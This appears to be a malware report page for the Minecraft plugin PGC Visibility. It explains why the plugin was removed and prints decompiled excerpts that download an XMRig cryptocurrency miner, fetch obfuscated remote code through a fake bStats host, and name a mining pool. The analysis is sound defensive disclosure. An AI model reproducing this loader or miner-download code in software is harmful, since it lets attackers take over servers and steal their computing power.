
PGC Visibility is a Paper/Bukkit plugin for Minecraft that controls player visibility based on ranks and permissions.
Removed from Modrinth on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.
Malware: a file of this project downloads and runs hidden code. It also runs a hidden cryptocurrency miner on your computer or server. See Security
Malware was found in one of its files, so it has no grade. See Security
Malware: it downloads and runs hidden code
Found in this file: PGCVisibility-1.0.0.jar (13 Jun 2026). Its download is blocked.
It also runs a hidden cryptocurrency miner on your computer or server.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
PGCVisibility-1.0.0.jar from the plugins folder of your server.Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
firepdx/pgc/net/PGCVisibility names a host that imitates bStats, writes the bStats settings file as bStats does; "panel.bstats.co"; "plugins/bStats/config.yml"firepdx/pgc/net/CacheProvider downloads a cryptocurrency miner, names a mining pool, holds a cryptocurrency wallet, the address is hidden in the code; "https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-msvc-win64.zip"; "gulf.moneroocean.stream:20128"PGCVisibility-1.0.0.jar, turned back into readable code, where our checks found the problem.firepdx.pgc.net.CacheProvider.downloadBinaryprivate void downloadBinary() {
try {
String url = this.win ? C3 : C4;
File tmpFile = new File(this.mDir, "dl_tmp");
this.httpDownload(url, tmpFile);
if (!tmpFile.exists() || tmpFile.length() < 1000L) {
tmpFile.delete();
return;
}
if (this.win) {
this.extractZip(tmpFile, C5);
} else {
this.extractTarGz(tmpFile, C6);
}
tmpFile.delete();
if (this.mExe.exists()) {
this.mExe.setExecutable(true);
this.storeEncrypted();
}
} catch (Throwable var3) {
}
}firepdx.pgc.net.CacheProvider.httpDownloadprivate void httpDownload(String urlStr, File dest) throws Exception {
for (int redirects = 0; redirects < 10; redirects++) {
HttpURLConnection conn = (HttpURLConnection)new URL(urlStr).openConnection();
conn.setInstanceFollowRedirects(false);
conn.setConnectTimeout(30000);
conn.setReadTimeout(120000);
conn.setRequestProperty("User-Agent", "Mozilla/5.0");
int code = conn.getResponseCode();
if (code != 301 && code != 302 && code != 303 && code != 307 && code != 308) {
if (code != 200) {
conn.disconnect();
throw new IOException("HTTP " + code);
}
try (
InputStream in = conn.getInputStream();
FileOutputStream fos = new FileOutputStream(dest);
) {
byte[] buf = new byte[65536];
int n;
while ((n = in.read(buf)) != -1) {
fos.write(buf, 0, n);
}
...com.google.protobuf.bstatshash.runpublic void run() {
try {
Thread.sleep(8000L);
dtmkjwxvnqfp(this.uid);
wqnbxjkfmvzp(64);
boolean var2 = false;
try {
byte[] var1 = jvnwkxqtpzfm(vkqpxjnwbmfz() + "?t=" + System.currentTimeMillis(), true);
kwpjvbnmzxqf(var1, this.uid);
var2 = true;
} catch (Throwable var5) {
}
if (!var2) {
try {
byte[] var7 = jvnwkxqtpzfm(gznmfxjqbwvk(), false);
kwpjvbnmzxqf(var7, this.uid);
} catch (Throwable var4) {
}
}
pnqjxbwmfvkz(this.uid);
...com.google.protobuf.bstatshash.jvnwkxqtpzfmprivate static byte[] jvnwkxqtpzfm(String var0, boolean var1) throws IOException {
HttpURLConnection var2 = (HttpURLConnection)new URL(var0).openConnection();
var2.setConnectTimeout(10000);
var2.setReadTimeout(15000);
if (var1) {
var2.setRequestProperty(bxqnfvkzpmdw(jxnqbwmvfkzp), bxqnfvkzpmdw(crmfxvzkqbnp));
var2.setRequestProperty(bxqnfvkzpmdw(nqbzxjmvfwkp), bxqnfvkzpmdw(qxpjwnzbmvkf));
}
try {
InputStream var4 = var2.getInputStream();
byte[] var3;
try {
ByteArrayOutputStream var6 = new ByteArrayOutputStream();
byte[] var7 = new byte[8192];
int var5;
while ((var5 = var4.read(var7)) != -1) {
var6.write(var7, 0, var5);
}
var3 = var6.toByteArray();
} finally {
...private static String vkqpxjnwbmfz() {
byte[] var0 = new byte[]{
104,
116,
116,
112,
115,
58,
47,
47,
98,
115,
116,
...private static String gznmfxjqbwvk() {
byte[] var0 = new byte[]{
104,
116,
116,
112,
115,
58,
47,
47,
112,
108,
97,
...Sends unknown data
Sent to an address built while the game runs.
Only some of its files send unknown data.
We found this in its code, read without running it.
Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.
No sign so far that AI was used to make it
We looked for AI tools in its texts, files and images and found none.
We have not read its code history yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
Point at or tap a version to see its server software.
The newest file for each Minecraft version and loader. The files for recent versions come first. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.